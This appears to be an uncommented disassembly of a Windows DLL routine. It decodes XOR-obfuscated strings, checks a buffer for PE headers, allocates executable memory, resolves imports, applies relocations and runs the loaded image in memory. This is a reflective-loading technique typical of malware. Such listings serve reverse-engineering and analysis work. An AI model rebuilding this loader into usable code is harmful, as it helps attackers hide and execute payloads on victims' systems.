mov dword [ebp - 0x8c], esi
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x74], 0
movaps xmm0, xmmword [0x10054320]
movups xmmword [ebp - 0xa7], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x6c], xmm0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0xf
mov al, 0x99
lea edi, [ebp - 0xa6]
lea ecx, [ebp - 0x6c]
jmp 0x10002050
mov byte [esi + ebx], al
mov byte [esi + ebx + 1], 0
movzx eax, byte [edi]
inc edi
test al, al
je 0x100020a0
xor al, 0xcc
mov ebx, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x58]
cmp ebx, edx
jae 0x10002070
lea esi, [ebx + 1]
mov dword [ebp - 0x5c], esi
mov esi, ecx
cmp edx, 0x10
jb 0x10002040
mov esi, dword [ebp - 0x6c]
jmp 0x10002040
mov dword [ebp - 0x10], 9
sub esp, 0xc
movzx edx, byte [ebp - 0x54]
mov byte [esp + 4], dl
movsx eax, al
mov dword [esp + 8], eax
mov dword [esp], 1
mov dword [ebp - 0x28], edi
call fcn.10003b10
lea ecx, [ebp - 0x6c]
mov edi, dword [ebp - 0x28]
jmp 0x10002048
cmp dword [ebp - 0x58], 0x10
jb 0x100020ab
mov eax, dword [ebp - 0x6c]
jmp 0x100020ae
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x30], eax
movsd xmm0, qword [0x100542f0]
movsd qword [ebp - 0x81], xmm0
mov dword [ebp - 0x79], 0xa0a0a8e2
mov byte [ebp - 0x75], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x54], xmm0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0xf
mov al, 0xa7
lea edi, [ebp - 0x80]
lea ecx, [ebp - 0x54]
jmp 0x10002100
mov byte [esi + ebx], al
mov byte [esi + ebx + 1], 0
movzx eax, byte [edi]
inc edi
test al, al
je 0x10002150
xor al, 0xcc
mov ebx, dword [ebp - 0x44]
mov edx, dword [ebp - 0x40]
cmp ebx, edx
jae 0x10002120
lea esi, [ebx + 1]
mov dword [ebp - 0x44], esi
mov esi, ecx
cmp edx, 0x10
jb 0x100020f0
mov esi, dword [ebp - 0x54]
jmp 0x100020f0
mov dword [ebp - 0x10], 7
sub esp, 0xc
movzx edx, byte [ebp - 0x70]
mov byte [esp + 4], dl
movsx eax, al
mov dword [esp + 8], eax
mov dword [esp], 1
mov dword [ebp - 0x28], edi
call fcn.10003b10
lea ecx, [ebp - 0x54]
mov edi, dword [ebp - 0x28]
jmp 0x100020f8
cmp dword [ebp - 0x40], 0x10
jb 0x1000215b
mov eax, dword [ebp - 0x54]
jmp 0x1000215e
lea eax, [ebp - 0x54]
lea ecx, [ebp - 0x74]
push dword [ebp - 0x30]
push eax
call fcn.10002940
mov dword [ebp - 0x10], 6
push dword [ebp - 0x2c]
call eax
mov eax, dword [ebp - 0x40]
cmp eax, 0x10
jb 0x100021ae
mov ecx, dword [ebp - 0x54]
lea esi, [eax + 1]
cmp esi, 0x1000
jb 0x100021a4
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x10002658
add eax, 0x24
mov esi, eax
mov ecx, edx
push esi
push ecx
call fcn.10003cdf
add esp, 8
mov eax, dword [ebp - 0x58]
cmp eax, 0x10
jb 0x100021e6
mov ecx, dword [ebp - 0x6c]
lea esi, [eax + 1]
cmp esi, 0x1000
jb 0x100021dc
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x10002658
add eax, 0x24
mov esi, eax
mov ecx, edx
push esi
push ecx
call fcn.10003cdf
add esp, 8
mov dword [ebp - 0x74], 0
movsd xmm0, qword [0x10054330]
movsd qword [ebp - 0x81], xmm0
mov dword [ebp - 0x79], 0xa9a0a8
xorps xmm0, xmm0
movups xmmword [ebp - 0x6c], xmm0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0xf
mov al, 0x8f
lea edi, [ebp - 0x80]
lea ecx, [ebp - 0x6c]
jmp 0x10002240
mov byte [esi + ebx], al
mov byte [esi + ebx + 1], 0
movzx eax, byte [edi]
inc edi
test al, al
je 0x10002290
xor al, 0xcc
mov ebx, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x58]
cmp ebx, edx
jae 0x10002260
lea esi, [ebx + 1]
mov dword [ebp - 0x5c], esi
mov esi, ecx
cmp edx, 0x10
jb 0x10002230
mov esi, dword [ebp - 0x6c]
jmp 0x10002230
mov dword [ebp - 0x10], 8
sub esp, 0xc
movzx edx, byte [ebp - 0x54]
mov byte [esp + 4], dl
movsx eax, al
mov dword [esp + 8], eax
mov dword [esp], 1
mov dword [ebp - 0x28], edi
call fcn.10003b10
lea ecx, [ebp - 0x6c]
mov edi, dword [ebp - 0x28]
jmp 0x10002238
cmp dword [ebp - 0x58], 0x10
jb 0x1000229b
mov eax, dword [ebp - 0x6c]
jmp 0x1000229e
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x2c], eax
movsd xmm0, qword [0x100542f0]
movsd qword [ebp - 0xa7], xmm0
mov dword [ebp - 0x9f], 0xa0a0a8e2
mov byte [ebp - 0x9b], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x54], xmm0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0xf
mov al, 0xa7
lea edi, [ebp - 0xa6]
lea ecx, [ebp - 0x54]
jmp 0x10002300
mov byte [esi + ebx], al
mov byte [esi + ebx + 1], 0
movzx eax, byte [edi]
inc edi
test al, al
je 0x10002350
xor al, 0xcc
mov ebx, dword [ebp - 0x44]
mov edx, dword [ebp - 0x40]
cmp ebx, edx
jae 0x10002320
lea esi, [ebx + 1]
mov dword [ebp - 0x44], esi
mov esi, ecx
cmp edx, 0x10
jb 0x100022f0
mov esi, dword [ebp - 0x54]
jmp 0x100022f0
mov dword [ebp - 0x10], 4
sub esp, 0xc
movzx edx, byte [ebp - 0x70]
mov byte [esp + 4], dl
movsx eax, al
mov dword [esp + 8], eax
mov dword [esp], 1
mov dword [ebp - 0x28], edi
call fcn.10003b10
lea ecx, [ebp - 0x54]
mov edi, dword [ebp - 0x28]
jmp 0x100022f8
cmp dword [ebp - 0x40], 0x10
jb 0x1000235b
mov eax, dword [ebp - 0x54]
jmp 0x1000235e
lea eax, [ebp - 0x54]
lea ecx, [ebp - 0x74]
push dword [ebp - 0x2c]
push eax
call fcn.10002940
mov dword [ebp - 0x10], 3
push dword [ebp - 0x20]
call eax
mov eax, dword [ebp - 0x40]
cmp eax, 0x10
mov ebx, dword [ebp - 0x34]
jb 0x100023b1
mov ecx, dword [ebp - 0x54]
lea esi, [eax + 1]
cmp esi, 0x1000
jb 0x100023a7
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x10002658
add eax, 0x24
mov esi, eax
mov ecx, edx
push esi
push ecx
call fcn.10003cdf
add esp, 8
mov eax, dword [ebp - 0x58]
cmp eax, 0x10
jb 0x100023e9
mov ecx, dword [ebp - 0x6c]
lea esi, [eax + 1]
cmp esi, 0x1000
jb 0x100023df
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x10002658
add eax, 0x24
mov esi, eax
mov ecx, edx
push esi
push ecx
call fcn.10003cdf
add esp, 8
mov edi, ebx
mov esi, dword [ebp - 0x24]
sub edi, esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push edi
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, esi
mov esi, eax
test eax, eax
je 0x10002420
push edi
push ecx
push esi
call fcn.10006950
mov ecx, dword [ebp - 0x24]
add esp, 0xc
cmp ecx, ebx
je 0x10002420
mov dword [ebp - 0x8c], ecx
test ecx, ecx
je 0x1000244c
cmp edi, 0x1000
jb 0x10002442
mov eax, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, eax
cmp ecx, 0x20
jae 0x10002658
add edi, 0x23
mov ecx, eax
push edi
push ecx
call fcn.10003cdf
add esp, 8
test esi, esi
mov ecx, dword [ebp - 0x3c]
je 0x10001cb9
movzx eax, word [esi]
cmp eax, 0x5a4d
jne 0x10001cb9
mov edi, dword [esi + 0x3c]
cmp dword [esi + edi], 0x4550
jne 0x10001cb9
push 0x40
push 0x3000
push dword [esi + edi + 0x50]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x94], eax
test eax, eax
je 0x1000264e
mov dword [ebp - 0x20], edi
cmp dword [esi + edi + 0x84], 0
mov dword [ebp - 0x24], esi
je 0x10002547
mov eax, dword [ebp - 0x20]
mov ecx, dword [esi + eax + 0x80]
mov eax, ecx
mov dword [ebp - 0x30], ecx
test ecx, ecx
je 0x10002547
mov eax, dword [ebp - 0x30]
mov eax, dword [esi + eax + 0xc]
test eax, eax
je 0x10002547
add dword [ebp - 0x30], esi
lea ecx, [esi + 2]
mov dword [ebp - 0x2c], ecx
jmp 0x100024ea
mov ecx, dword [ebp - 0x30]
mov eax, dword [ecx + 0x20]
add ecx, 0x14
mov dword [ebp - 0x30], ecx
test eax, eax
mov esi, dword [ebp - 0x24]
je 0x10002547
add eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x100024d7
mov ebx, eax
mov eax, dword [ebp - 0x30]
mov edi, dword [eax]
mov eax, dword [ebp - 0x24]
mov eax, dword [eax + edi]
test eax, eax
je 0x100024d7
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ecx + 0x10]
mov dword [ebp - 0x28], ecx
mov esi, dword [ebp - 0x24]
jmp 0x10002532
movzx eax, ax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x28]
mov dword [esi + ecx], eax
mov eax, dword [esi + edi + 4]
add esi, 4
test eax, eax
je 0x100024d7
test eax, eax
js 0x10002516
add eax, dword [ebp - 0x2c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x10002521
jmp 0x10002527
mov eax, dword [ebp - 0x20]
mov ebx, dword [esi + eax + 0xa4]
test ebx, ebx
je 0x10002619
mov ecx, dword [ebp - 0x94]
mov eax, dword [ebp - 0x20]
sub ecx, dword [esi + eax + 0x34]
mov edi, dword [esi + eax + 0xa0]
add edi, esi
movzx eax, cx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x28], ecx
shr ecx, 0x10
mov dword [ebp - 0x34], ecx
xor ecx, ecx
jmp 0x1000259c
mov esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
mov ebx, dword [esi + eax + 0xa4]
mov ecx, dword [ebp - 0x38]
add ecx, edx
cmp ecx, ebx
jae 0x10002619
mov eax, edi
add edi, 8
mov dword [ebp - 0x2c], eax
mov edx, dword [eax + 4]
mov eax, edx
and eax, 0xfffffffe
cmp eax, 8
je 0x10002592
mov dword [ebp - 0x38], ecx
xor ebx, ebx
jmp 0x100025e4
mov eax, dword [ebp - 0x30]
mov esi, dword [ebp - 0x2c]
mov edx, dword [esi]
and ecx, 0xfff
add ecx, dword [ebp - 0x24]
add dword [edx + ecx], eax
mov edx, dword [esi + 4]
add edi, 2
inc ebx
lea eax, [edx - 8]
shr eax, 1
cmp ebx, eax
jae 0x10002582
movzx ecx, word [edi]
mov esi, ecx
shr esi, 0xc
dec esi
cmp esi, 9
ja case.0x100025f5.4
mov eax, dword [ebp - 0x28]
jmp dword [esi*4 + 0x10054484]
mov eax, dword [ebp - 0x34]
jmp case.0x100025f5.3
mov eax, dword [ebp - 0x24]
mov esi, dword [ebp - 0x20]
movzx esi, word [eax + esi + 4]
mov eax, dword [ebp - 0x28]
cmp esi, 0x8664
je case.0x100025f5.3
jmp case.0x100025f5.4
mov edi, dword [ebp - 0x20]
push dword [esi + edi + 0x50]
push esi
mov ebx, dword [ebp - 0x94]
push ebx
call fcn.10006950
add esp, 0xc
mov eax, dword [esi + edi + 0x28]
add eax, ebx
mov dword [ebp - 0x10], 0
push 0
push 1
push ebx
call eax
mov bl, 1
mov ecx, dword [ebp - 0x3c]
jmp 0x10001cbb
xor ebx, ebx
mov ecx, dword [ebp - 0x3c]
jmp 0x10001cbb
call fcn.10007ee6
mov dword [ebp - 0x10], 0
call fcn.10003c60
nop dword [eax]
push ebp
sub esp, 0x18
add ebp, 0xc
lea ecx, [ebp - 0x54]
call fcn.100028a0
add esp, 0x18
pop ebp
ret